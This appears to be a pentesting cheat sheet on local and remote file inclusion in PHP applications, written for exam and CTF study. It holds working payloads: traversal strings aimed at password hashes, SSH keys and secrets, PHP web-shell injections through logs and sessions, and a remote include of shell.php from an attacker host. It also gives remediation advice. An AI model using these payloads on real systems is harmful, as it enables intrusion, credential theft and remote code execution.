☼
⌃
☰

File Inclusion File Inclusion

Table of Contents

A vulnerability where user-controlled input is used to construct a file path that the server includes or executes. LFI reads files already on the server; RFI fetches and executes files from a remote host. LFI is the more common and practical attack surface — focus on LFI to RCE chains for exam and CTF contexts.

Related: Path Traversal Webshell Reverse Shell File Upload Vulnerabilities SSRF Web Application Testing Methodology PT1 Vulnerability Classification Cheat Sheet

1. Identifying File Inclusion

TEXT
# Vulnerable parameter patterns
?page=home
?file=about
?template=main
?lang=en
?include=header
?view=index
?doc=report
?path=content

# Test with a known file
?page=../../../../etc/passwd           # Linux
?page=../../../../windows/win.ini      # Windows

2. Local File Inclusion (LFI)

Basic Path Traversal

SHELL
# Linux targets — confirm LFI
?file=../../../../etc/passwd
?file=../../../../etc/shadow           # requires root
?file=../../../../etc/hosts
?file=../../../../proc/version         # kernel version
?file=../../../../proc/self/environ    # environment variables

# Windows targets
?file=../../../../windows/win.ini
?file=../../../../windows/system32\drivers\etc\hosts
?file=../../../../boot.ini             # older systems

Bypass Techniques

SHELL
# Null byte — bypass appended extension (PHP < 5.3.4)
?file=../../../../etc/passwd%00
?file=../../../../etc/passwd%00.png

# URL encoding
?file=..%2F..%2F..%2Fetc%2Fpasswd
?file=..%252F..%252Fetc%252Fpasswd    # double encoded

# Path truncation (older PHP)
?file=../../../../etc/passwd.................   # truncate appended extension

# Filter bypass — if ../ is stripped
?file=....//....//....//etc/passwd     # strips to ../
?file=..././..././etc/passwd           # alternate separators

# Absolute path (if no prefix added)
?file=/etc/passwd

PHP Wrappers

SHELL
# Read file source as base64 — bypasses output filters
?file=php://filter/convert.base64-encode/resource=/etc/passwd
?file=php://filter/convert.base64-encode/resource=index.php
# Decode: echo "<base64>" | base64 -d

# Execute arbitrary PHP from POST body
?file=php://input
# POST body: <?php system($_GET['cmd']); ?>

# Embed and execute PHP directly in URL
?file=data://text/plain,<?php system('id'); ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

# Zip wrapper (if file upload exists)
# Upload zip containing shell.php, then:
?file=zip://uploads/file.zip#shell

3. LFI to RCE

Log Poisoning — Apache / Nginx

Inject PHP into a log file via User-Agent or URL, then include the log file via LFI.

SHELL
# Step 1 — inject PHP into access log via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://$TARGET/

# Step 2 — include the log file
?file=../../../../var/log/apache2/access.log&cmd=id
?file=../../../../var/log/nginx/access.log&cmd=id

# Alternative — inject via URL (appears in log as 404)
curl http://$TARGET/<?php system(\$_GET['cmd']); ?>

# Common log locations
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/proc/self/fd/1                        # stdin — current process

Log Poisoning — SSH Auth Log

SHELL
# Inject PHP as SSH username — generates auth log entry
ssh '<?php system($_GET["cmd"]); ?>'@$TARGET

# Include SSH auth log
?file=../../../../var/log/auth.log&cmd=id
?file=../../../../var/log/secure&cmd=id    # RHEL/CentOS

/proc/self/environ

SHELL
# Inject into User-Agent — appears in process environment
curl -A "<?php system(\$_GET['cmd']); ?>" http://$TARGET/

# Include proc environ
?file=../../../../proc/self/environ&cmd=id

PHP Session Poisoning

SHELL
# Step 1 — inject PHP into a session value via application input
# (register/login with PHP payload as username)
# Username: <?php system($_GET['cmd']); ?>

# Step 2 — find the session file and include it
?file=../../../../tmp/sess_<session_id>&cmd=id
?file=../../../../var/lib/php/sessions/sess_<session_id>&cmd=id

# Get session ID from browser cookies (PHPSESSID)

php://input

SHELL
# Send PHP payload in POST body, include via php://input
curl -X POST "http://$TARGET/page.php?file=php://input&cmd=id" \
  -d "<?php system(\$_GET['cmd']); ?>"

4. Remote File Inclusion (RFI)

Requires allow_url_include = On in php.ini — less common on modern servers but worth testing.

SHELL
# Host malicious PHP file on attacker
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 8080

# Include from target
?file=http://$ATTACKER:8080/shell.php&cmd=id

# HTTPS (if HTTP blocked)
?file=https://$ATTACKER/shell.php&cmd=id

# SMB (Windows targets)
?file=\\$ATTACKER\share\shell.php

5. High-Value Files to Read

Linux

TEXT
/etc/passwd                   # user accounts
/etc/shadow                   # password hashes (needs root)
/etc/hosts                    # internal hostnames
/etc/hostname                 # machine name
/etc/ssh/sshd_config          # SSH config
/home/<user>/.ssh/id_rsa      # private SSH keys
/var/www/html/config.php      # DB credentials
/var/www/html/.env            # environment variables / secrets
/proc/version                 # kernel version
/proc/self/environ            # process environment variables
/proc/self/cmdline            # current process command

Windows

TEXT
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config      # DB connection strings, secrets
C:\xampp\apache\conf\httpd.conf    # XAMPP config
C:\xampp\php\php.ini               # PHP config
C:\xampp\phpMyAdmin\config.inc.php # phpMyAdmin credentials
C:\Users\<user>\.ssh\id_rsa        # SSH keys

6. Testing Methodology

TEXT
1. Identify parameters that appear to load content (page=, file=, template=)
2. Test basic LFI: ../../../../etc/passwd
3. If blocked: work through bypass list (null byte, encoding, filter tricks)
4. If PHP: try php://filter to read source of app files
5. Test log poisoning: inject User-Agent → include log file
6. If LFI confirmed: escalate to RCE via one of the chains above
7. If RFI: host shell.php and test include
8. Document each step with request/response for report

7. Reporting Template

Classification: File Inclusion (LFI / RFI)

Severity: Critical (RCE achieved) / High (sensitive file read)

Description: The file parameter at [endpoint] includes server-side files based on user-supplied input without path validation. An attacker can read arbitrary files from the server and, via log poisoning, achieve Remote Code Execution under the web server account.

Evidence:

# Step 1 — LFI confirmed
GET /page.php?file=../../../../etc/passwd HTTP/1.1
→ root:x:0:0:root:/root:/bin/bash ...

# Step 2 — Log poisoned via User-Agent
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

# Step 3 — RCE via log inclusion
GET /page.php?file=../../../../var/log/apache2/access.log&cmd=id
→ uid=33(www-data) gid=33(www-data)

Remediation:

  • Never pass user input directly to file include functions
  • Implement an allowlist of permitted file names
  • Disable allow_url_include in php.ini
  • Run the web server under a least-privilege account

Tips

  • Always try php://filter before log poisoning — it is cleaner, requires no log write, and gives you source code of the app
  • Log poisoning requires the log to be readable by the web server process — /var/log/apache2/ is typically owned by www-data
  • The User-Agent approach to log poisoning is the most reliable — every request gets logged, no special conditions needed
  • On Windows targets web.config is the equivalent high-value file to .env on Linux — contains database connection strings
  • If null byte bypass is needed the target is likely running very old PHP — also check for other low-hanging vulnerabilities